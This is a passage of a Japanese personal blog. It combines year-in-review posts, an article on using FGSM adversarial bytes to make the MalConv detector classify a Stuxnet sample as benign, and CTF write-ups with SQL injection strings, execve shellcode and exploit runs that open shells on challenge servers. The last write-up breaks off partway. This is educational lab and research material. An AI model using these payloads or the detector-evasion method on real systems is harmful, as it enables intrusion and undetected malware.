yyy

CTFつよくなりたい

2022年を振り返る

社会人になってから更新が止まり、気づけば3年が経過していた。 2020年の振り返りは途中まで書いて面倒になってしまって下書きに眠っているので、2022年は雑にでも残しておこうと思う。

生活

筋トレ

6月頃から筋トレを始めた。ジムには通わず、自宅でダンベル等を使って週1,2回行う。モチベーション的には人生1度は腹筋を割ってみたいという思いだったり、テレワークでの運動不足も理由の一つ。上半身を中心にやっていて、併せて有酸素運動を行う日もある。始める前と比較すると明らかに物事を思い出しやすかったりして脳が生きている感じがするし、体は資本であることを改めて実感するのでこれからも続けていきたい習慣の一つになった。朝食をここ数ヶ月オートミールに変えてるけど、卵、牛乳、プロテイン、フルーツ(バナナorブルーベリー)と混ぜてレンチンするとオートミール感がほぼなくて美味しく食べれてよい。

自炊

夏か秋頃から始めた記憶がある。コンビニかスーパーかUberみたいな生活をしばらく続けていたけど、自炊したほうが明らかに安く済むし自分で作った飯はバフがかかって大抵美味しい。将来的にも料理できる人間になっておきたいというのも理由にある。自炊するときって今までだと適当なバズレシピを試してみたりしていたけど、基本的なメニューを一通り作れるようになりたいので今は料理本を買って和食から攻めている。

その他

見出し作るほどでもないことは以下。

Apex:3月頃にApexのランクがマスターになったので隠居している。今だと誘われたらやるぐらいで1,2週に1回ぐらいのペース。毎日やっていた時期は自分に使う時間がほとんどなくなっていたし、精神衛生上もよくない日々だったので以前より遥かにQOLが上がった。ハマりすぎるのは本当によくないなという学びがある一方で、自分って結局なにかに没頭したり試行錯誤している日々が好きなんだなと自覚した。解放されて4月頃は毎日を怠惰に過ごしていたけど、何をすればいいんだっけ?と思うぐらい毎日が退屈な日々だったので、目標に向かって試行錯誤しながら過ごす毎日を送りたいと思った。

the peggies:一番好きだったバンドが無期限活動休止した。これが一番好きだと言えるバンドが今までなかったけど、4年前ぐらいにハマったぺぎーずというガールズバンドは自分の中での流行が終わることなく、福島にいた時も東京までライブを見に行っていた。解散ではなく活動休止なので、再開するまでのんびり待とうと思う。(日比谷野音で開催された結成10周年記念ライブのBlu-rayに自分が一瞬映っていたのがいい思い出)

すずめの戸締まり:自分は新海作品が好きなので待望の新作に心を躍らせて観に行った。細かいギミックやストーリーの伏線・展開を考えてしまって没頭できないことがあるけど、今作も1回目は考えすぎたのか感情移入できずに終わってしまった。観る前の期待感が高かったのもあるのか満足度はあまり高くなかった。2週間後ぐらいにもう1回観に行くことになって、余計なことを考えずに鑑賞したけど最高だった。ストーリーには触れないが、すずめの成長だったり草太の人間味溢れる部分に惹かれた。小説のラストシーンの文章もとてもよい。

仕事

相変わらず月1,2の出社でほとんどリモートで働いている。良い点、悪い点、今後の展望などは別途どこかでまとめておきたい気持ち。今の会社にずっと在籍する気はなく転職も視野にはあるけど、自分の技術力をもう1段上げてから考えたい。来年も引き続き今の場所でやっていくと思う。

自己研鑽

TOEIC

2,3か月勉強して9月に受験した。今までだと1,2週間で適当に勉強して受けることが多くてスコアも当然酷かったが、今回はある程度伸ばすことができた。教材はスタディサプリを使った。関先生の授業がありえん分かりやすくて、高校時代からこの授業を受けたかったという気持ちになった。英文法の講義は全部終わらせて単語もぼちぼちやっていたけど、パートごとのレッスンに関してはリスニング部分しか終わらずリーディングは対策が全然できなかったし、模試も受けることができず明らかに演習不足だった。結果としてはなぜかリーディングが伸びてリスニングはあまり振るわず。今回、勉強期間は長めに取ったけど仕事で残業が多かったり、久々の勉強だったので集中力も足りず、日々の勉強時間が平均的に少なかった。

次回は、演習多め+リスニング対策+平均勉強時間を増やす、がポイントになりそう。

マルウェア解析

TOEIC受験が終わり、最近技術的なことそこまでやっていないなと思い、何かやろうと思い立って始めた。金銭的な利益に繋がる可能性があるバグハントを始めてみようか無限に迷ったけど、バグハントでメジャーなのはWebセキュリティ系のイメージが強かった。自分の興味の根本として、CTFでもRevやPwnが好きだったし、逆アセンブルして挙動を明らかにしていくようなリバースエンジニアリングが好きなので、今までも雰囲気でマルウェア解析をやったことは何回かあったけどいよいよ本格的に始めようと思った。退路を断つためにIDA Proを買おうと考えたけど、円安の影響なのか明らかに値上がりしてて厳しかった。最近は自分へのクリスマスプレゼントで、セール中だったZero2Automatedを買ったので今後はこれもやっていこうと思う。

今年買ったもの総評

ASTRO MixAmp

Apexでは足音めっちゃ聞こえるようになった。音楽や映画鑑賞でも自分好みに音を変えられるけど結局デフォで使ってたりしてゲーム以外だとあまり使っていない。

SHURE AONIC 215

SE215を使ってたので買ってみたけど、AirPodsと比べるとどうしても装着感で劣る。装着時に突起の部分が微妙に気になるし、取り出して装着するまでが若干面倒に感じる。たまに使う程度なので、買わなくてもよかったかもと思っている。

LEDデジタル時計

無難にいい。

AKRacing Pro-X V2

椅子もふかふかだし普通に座る分には最高なんだけど、ランバーサポートがしっかりとした厚みなのでリクライニング時に腰が浮く形になってしまい体に合わなかった。別途オットマンを用意することで割とストレスなく使えている。ハーマンミラーロジクールGコラボの20万くらいする椅子も座ってみたけど、あれは正しく座るための椅子、という印象だったので候補から外した。1日のほとんどを椅子で過ごす生活なので、もっと最高な椅子があったら購入検討したい。

タイマー

ひっくり返すだけで時間が変わるのでシュッとポモドーロできてよい。

TAMRON 17-70mm F2.8

最高。

テンピュール

自分は体がでかいほうだけどSサイズがよかったので、サイズは店で実際に寝てみるのがいい。

Ducky One 2 Mini Pure White RGB 60% version

TTC Golden Pinkという軸にした。実際に触ってこれにしたけど使っていくうちに音がうるさいなと思ってきたので静音化を検討してる。 https://www.fumo-shop.com/ducky-one-2-mini-pw-rgb-60-version.html

ちなみに一緒に買ったキーキャップは装着してみると普通よりも高くなってしまって結局元に戻した。全く使わないのも勿体ないので、Duckyで使うFnキーだけ変えてる。Fnキーだけ若干高い変なキーボードになった。 https://www.fumo-shop.com/ducky-cotton-candy-sa-keycap-set.html

普段使いのキーボードは相変わらずREALFORCEを使っている。実家のような安心感で最高。

2023年の抱負

目標を決めて取り組まないと怠惰な自分に負けるので、定期的に目標設定してやっていきたい。

TOEIC800点

今年はこのぐらいの点数取りたいなという気持ち。

マルウェア解析

ある程度の解析能力を身に着けたい。

GPEN取得

会社で稟議申請が通ればSANSのSEC560を受講できるので頑張りたい。

CTF

余裕あるか…?という気持ちだけど書いておく。

2019年を振り返る

去年のはこれ

ywkw1717.hatenablog.com

雑だけど今年も。

 

帰省中の電車の中で書いてる。

1月

f:id:ywkw1717:20191231180648j:image

初日の出

年明けは会津で迎えて、初日の出が見たくなったから車で猪苗代湖まで一人で行ってきた時に撮った写真。1時間くらいはいろんな写真撮ってて、寒かったけどいいものが撮れて嬉しかった。

 

2月
f:id:ywkw1717:20191231180716j:image

絵ろうそく祭り

去年も行った絵ろうそく祭り。めちゃ綺麗なので行くべき。

 

3月

f:id:ywkw1717:20191231180933j:image

pixivインターンシップ

最高のインターンシップを経験している様子。

 

詳細は以下。

 

ywkw1717.hatenablog.com

 

4月

f:id:ywkw1717:20191231181508j:image

急性扁桃

急性扁桃炎になった。薬処方されすぎやろってくらい処方されてびびった。喉をものが通る度に激痛だった記憶。

 

5月

f:id:ywkw1717:20191231180906j:image

車をこすった。思ったほど大ごとにならなくて助かった。


f:id:ywkw1717:20191231180915j:image

この頃は快活に出入りすることが多くて、アオハライドを読み漁ってた。アオハライドは青春を感じられるのでよい。

 

6月

f:id:ywkw1717:20191231181027j:image

自損事故

事故を起こした。那須ハイに行った帰りに、酔い止めを飲んでた副作用だと思うけど睡魔に襲われて、山道ばかりだったけどとりあえずどこかで停車するべきだったと後悔してる。自分の怪我は別に大したことなかったけど、同乗者に怪我をさせてしまったり車も廃車になり、とてつもない罪悪感で一週間ぐらいはずっと精神が終わってた。眠気を感じたらすぐに停車しましょう。

 

7月

f:id:ywkw1717:20191231181105j:image

Hardening Ⅱ SU

Hardeningに参加した。初の北海道上陸でもあった。自分は脆弱性の修正やサーバー周りの細かい作業を担当。売り上げだけ見れば1位だった気がするけど、連合という制度があったりその他細かい評価指標があって、何だかんだなにも賞がもらえず悔しかった。

 

8月
f:id:ywkw1717:20191231181109j:image

特になにもしてない。研究を少し進めてみたり近所の神社やお祭りの写真撮ったり。

 

9月
f:id:ywkw1717:20191231181119j:image

入院生活

3週間入院した。自宅の階段でやらかしをしてしまい、腰の骨を圧迫骨折してしまった。その場にいた友人2人には救急車呼んでもらったり荷物持ってきてもらったり、めちゃくちゃ助けてもらって本当に感謝しかない。初めて救急車乗ったし初めて入院もした。腰への影響があるため、ベッドを起こしていい角度の上限が決まってたり尿瓶を使わなきゃいけなかったりして、ストレスフルな環境だったので精神的にも厳しかった。ちなみに圧迫されて変形した骨が元に戻ることはないらしく、身長が縮んだ疑惑がある。もう若くないので慎重な生活を心がけます。

 

10月

f:id:ywkw1717:20191231181055j:image

内定式&SECCON

内定式、SECCONなどがあった。

 

SECCONはまた今年も順位が上がったものの、自分は1問しか解けてなくて完全に戦犯をしたので来年こそは決勝行けるように精進します…

 

11月

f:id:ywkw1717:20191231181133j:image

研究

研究をしていた以外の記憶がないです。

 

12月
f:id:ywkw1717:20191231181114j:image

ライブ

the peggiesのライブ2度目。激アツ優勝ライブだった。

 

f:id:ywkw1717:20191231181100j:image

東京イルミ

東京、イルミネーションに溢れていてどこにいても目にするから希少価値ないやんとか思ってたけど綺麗なものは綺麗なので撮ってた。


f:id:ywkw1717:20191231181125j:image

SSD換装

SSDを1TBに換装した。ストレージ不足地獄からの脱却。

 

おわりに

今年を漢字一文字で表すならとか人々はよくやってるけど、自分の場合完全に「災」で、年明けに厄除けをしたのにも関わらず災難ばかりだった。効果がないのか、なんやかんや死に至らずに生きてるから効果があるのか。

 

来年は健康的な生活を送りたいです。

FGSMを使ってマルウェア検知器(MalConv)を回避する

これはAizu Advent Calendar 2019の11日目の記事です。(遅れて申し訳ありません…🙇‍♂️🙇‍♂️🙇‍♂️)

adventar.org

前の人は id:xatu0202 さんで,

xatu.hatenablog.com

次は id:shota-df-412 さんです.

shota-df-412.hatenablog.com

はじめに

昨今、観測されるマルウェアの数は膨大になり、シグネチャベースのマルウェア検知・分類は難しくなっています。そのため、機械学習や深層学習を使用してマルウェア検知・分類を行う研究が盛んに行われていますが、MalConvというディープラーニングモデルをご存知でしょうか。

この記事では、FGSMという手法を用いてMalConvというCNNベースのマルウェア検知器を回避してみます。

※Adversarial Examplesの検証を目的としており、不正な攻撃を助長するものではありません。

MalConvとは

MalConvは、2017年にNVIDIAの研究チームらにより発表された Malware Detection by Eating a Whole EXEで提唱されています。それまで、ニューラルネットワークマルウェア検知器に適用している研究はほとんどなく、実行ファイル全体を入力として受け取ってマルウェア検知している研究は存在していませんでした。また、マルウェア検知に使用する特徴量の抽出には多くのドメイン知識が必要でしたが、MalConvはそのようなドメイン知識の使用の最小化を目的とし、実行ファイルのraw byte sequenceのみを入力として受け取るようなCNNベースのマルウェア検知器であり、高い精度でマルウェアを検知できています。

それまで手作業で行ってきた特徴抽出の必要がなくなり、実行ファイルのみを入力として与えることで、モデル自身が特徴量を学習してマルウェアを検知することができます。そんな素晴らしい技術ですが、果たして欠点はないのでしょうか?

Adversarial Examplesについて

機械学習のモデルの精度を考慮する際、Adversarial Examplesの存在は欠かせません。

f:id:ywkw1717:20191215184349p:plain
Goodfellow et al (2014)

有名なのはこの画像ですが、パンダと分類されるべき画像に摂動というものを加えることでテナガザルと分類させています。これは非常に重要な問題であり、機械学習のモデルを実世界に適用する際に様々な被害が考えられます。

Adversarial Examplesについては以下が詳しいです。

elix-tech.github.io

PEファイルにおけるAdversarial Examplesを考える

MalConvの論文では、データセットにPEファイルを使用していましたが、PEファイルにおけるAdversarial Examplesは通常のAdversarial Examplesとなにが異なるのでしょうか。

通常は画像全体にノイズがかかるような形で摂動を加えるのですが、PEファイルでも同様の行為をしてしまうと機能性が失われてしまうという問題があります。例えば、実行に必要な多くの情報が含まれているPEヘッダーの不用意な変更は、プログラムをクラッシュさせることに繋がり、実行ファイルとして動作しなくなってしまう恐れがあります。他の領域においても同様で、1ビット書き換わるだけでクラッシュしてしまう危険性が増加するため慎重に扱う必要があります。

ではどのようにしてAdversarial Examplesを作るのかというと、

  1. 新しいセクションを作る
  2. ファイルの末尾に追加する

などの手法が取られています。1ではLIEFというライブラリがよく使われていて、PEに限らずELFやMachOなどのフォーマットをパースしたり変更を加えることが可能です。

github.com

2ですが、これはPEファイルに限った話ではありませんが、PEファイルの末尾にどのようなバイト列を追加しても問題なく動作するため、任意のバイト列を追加する場所としてファイルの末尾が使用されます。

これらの手法を用いて、benignと判定されるような特徴を追加していく、というのがPEファイルにおけるAdversarial Examplesの基本です。

Machine Learning Static Evasion Competitionとは

今年のDEFCON AI Villageで開催されていたコンペであり、MalConvを含めた3つのモデルによる検知を回避する技術を競います。最終的に50個のmaliciousなPEファイルを回避させる必要があります。また、white-box attackを考えるので、ソースコードは与えられます。

以下のブログでは、3つのモデルに対するwrite upが紹介されています。面白いのでおすすめ。

towardsdatascience.com

Fast Gradient Sign Method(FGSM)を使ってMalConvを回避してみる

Fast Gradient Sign Method(FGSM)とはAdversarial Examplesを作る手法の一つであり、重みを固定して入力を変化させながらAdversarial Examplesを求める方法よりも、誤差逆伝播を使って一度勾配を計算するだけなので高速ということらしいです。

これも詳しくは、上で掲載したサイト( はじめてのAdversarial Example )に載っています。

前置きがだいぶ長くなりましたが、FGSMを使ってMalConvを回避(FGSM attack)してみます。MalConvは上記のMachine Learning Static Evasion Competitionで使われていたモデル(EMBER 2018 binariesで学習させたもの)を使用します。(EMBERはEndgameが2018年4月に公開したオープンソースのデータセットです)

Machine Learning Static Evasion Competitionで使用されたコードは以下にあります。

github.com

今回はMalConvによる検知のみを回避するので、他の2つのモデルは扱いません。models.pyをMalConvのみ使うように変更して、結果だけでなくbenignとmaliciousそれぞれのrateも出力するようにしました。

import torch
import torch.nn.functional as F
from MalConv import MalConv
import numpy as np

MALCONV_MODEL_PATH = 'models/malconv/malconv.checkpoint'


class MalConvModel(object):
    def __init__(self, model_path, thresh=0.5, name='malconv'):
        self.model = MalConv(channels=256, window_size=512, embd_size=8).train()
        weights = torch.load(model_path,map_location='cpu')
        self.model.load_state_dict( weights['model_state_dict'])
        self.thresh = thresh
        self.__name__ = name

    def predict(self, bytez):
        _inp = torch.from_numpy( np.frombuffer(bytez,dtype=np.uint8)[np.newaxis,:] )
        with torch.no_grad():
            outputs = F.softmax( self.model(_inp), dim=-1)
            print('benign: {}'.format(outputs[0][0].item()))
            print('malicious: {}'.format(outputs[0][1].item()))

        return outputs.detach().numpy()[0,1] > self.thresh


if __name__ == '__main__':
    import sys
    with open(sys.argv[1],'rb') as infile:
        bytez = infile.read()

    # thresholds are set here
    malconv = MalConvModel(MALCONV_MODEL_PATH, thresh=0.5)

    print(f'{malconv.__name__}: {malconv.predict(bytez)}')

試しにこの学習済みモデルでマルウェアを検知してみます。検体はtheZooにあるTrojanWin32.Duqu.Stuxnetを使用しました。

$ python3 models.py win32.exe
benign: 0.0066443816758692265
malicious: 0.9933556318283081
malconv: True

99%maliciousだと判定されています。これをbenignと判定させることが目的です。

FGSM attackの実装

FGSM attackを実装するにあたって、今年の1月に発表された Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples を参考にしました。

完成したものがこちらです。

github.com

実行してみます。

$ python3 fgsm_attack.py win32.exe
[1]
Benign: 0.0066236 , Malicious: 0.99338
Loss: 1.3036
Reconstruction phase:
100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:08<00:00, 79.76it/s]
sum of perturbation:  84646.0

[2]
Benign: 0.52506 , Malicious: 0.47494
Loss: 0.66841
Reconstruction phase:
100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:07<00:00, 80.97it/s]
sum of perturbation:  84640.0

Evasion rates: 0.52506

win32_AEs.exe  has been created.

(摂動の値の合計値も出力しているのは、この値に変化がない場合は上手く生成できていない可能性があるからです…。epsが低い場合や摂動のサイズを小さい値で固定してテストしてみた時に発生していました。)

作成されたAdversarial ExamplesをMalConvで判定してみます。

$ python3 models.py win32_AEs.exe
benign: 0.9517970681190491
malicious: 0.04820294678211212
malconv: False

見事にbenignだと判定されました。追加された摂動を見てみます。

f:id:ywkw1717:20191216004545p:plain
摂動

ファイルの末尾に追加された一見ランダムに見えるこのバイト列ですが、MalConvではこの数百バイトが原因でmaliciousと判定されるべきファイルがbenignだと判定されてしまいました。

Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples で行われていた方法は単純で、 c + (c − len(x) mod c): (cはconv size、xは入力ファイル) で求まったサイズのランダムバイト列(0~255の範囲)を生成し、それを入力ファイルの末尾に加えたものをMalConvで判定させ、benignである識別率が0.5を上回るまでFGSMを用いて摂動を変更していくだけです。

最後に

Machine Learning Static Evasion Competitionのwrite upを書いていた方は10万バイトの0xA9を追加したり、benignなファイルの文字列を追加したりしていましたが、FGSM attackの場合は1000バイト以下のバイト列を末尾に付与するだけでMalConvによる検知を回避することができました。もちろん、コンペにおいては他の2つのモデルによる検知も同時に回避する必要があるのでこれだけでは不十分だと思いますが。

また、詳しくは言及しませんが、Adversarial Trainingという方法を使うとAdversarial Examplesに対してある程度ロバストになることも知られています。

実際に世の中で使用されているCylance製のアンチウイルスにおいて、このAdversarial Examplesが問題になったこともあるため、見過ごすことのできない課題の一つになっていることは確かです。

japan.zdnet.com

参考

https://devblogs.nvidia.com/malware-detection-neural-networks/

https://github.com/yuxiaorun/MalConv-Adversarial/blob/master/src/model.py

https://arxiv.org/abs/1803.04173

Beginners CTF 2019 Writeup

Seccompare

コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.

$ ltrace ./seccompare hoge
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge")                                                                              = -5
puts("wrong"wrong
)                                                                                                               = 6
+++ exited (status 0) +++

Leakage

is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear_Operation

is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.

gist.github.com

$ python solve.py
WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

shellcoder

binshという文字列を使ってはいけないシェルコードコーディング問題.

        0x00080000:     movabs  rbx, 0x38237f7f3e39327f
        0x0008000A:     movabs  rax, 0x5050505050505050
        0x00080014:     xor     rbx, rax
        0x00080017:     xor     esi, esi
        0x00080019:     push    rsi
        0x0008001A:     push    rbx
        0x0008001B:     push    rsp
        0x0008001C:     pop     rdi
        0x0008001D:     xor     rax, rax
        0x00080020:     mov     al, 0x3b
        0x00080022:     xor     edx, edx
        0x00080024:     syscall syscall

こんな感じでxorでなんとかした.

gist.github.com

$ python exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2).
    Update with: $ pip install -U pwntools
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
Are you shellcoder?
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$ exit

OneLine

一度0x28分readしてその後 call rax するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.

これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.

gist.github.com

$ python exploit.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
You can input text here!
>>
0x7fe15586a140
0x7fe15575a000
\x00\x00Once more again!
>>
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$ exit

Dump

与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.

gist.github.com

その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge をするとフラグが書かれたflag.jpgが取り出せた.

f:id:ywkw1717:20190526211955j:plain

Ramen

SQLiがある. 'or 1=1;# で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; # をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;# でフラグをみた.

f:id:ywkw1717:20190526212315p:plain

Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble

Baby ROP

バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh もバイナリ内にあったのでそれを使った.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20001: Done
[*] Switching to interactive mode
What's your name? $ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls /home
babyrop
$ ls /home/babyrop
babyrop
flag
$ cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
$ exit

Baby ROP 2

同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20005: Done
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
What's your name?
 Welcome to the Pwn World again,
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAI!

0x7f1d378f7250
0x7f1d37800000
What's your name?
[*] Switching to interactive mode
 Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9!
$ cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
$ exit

scramble

入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.

Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.

最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.

gist.github.com

$ python solve.py
WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Dump stdin at succeeded():
'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

DEF CON CTF Qualifier 2019 speedrun-001~003

speedrun-001

$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge

Alas, you had no luck today.

バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL) を呼ぶようにした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
Hello brave new challenger
Any last words?

[*] Switching to interactive mode
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@
$ ls
-
banner_fail
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-001
srv
sys
tmp
usr
var
wrapper
$ cat /flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
[*] Got EOF while reading in interactive

speedrun-002

$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.

これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

leak_addr: 0x7f4b03669140
libc_base: 0x7f4b03559000
system_addr: 0x7f4b035a8440

We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

[*] Switching to interactive mode
$ cat /flag
OOO{I_didn't know p1zzA places__mAde pwners.}
$ exit
[*] Got EOF while reading in interactive

speedrun-003

$ ./speedrun-003
Think you can drift?
Send me your drift
hoge
You're not ready.

シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.

48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f6e69622f
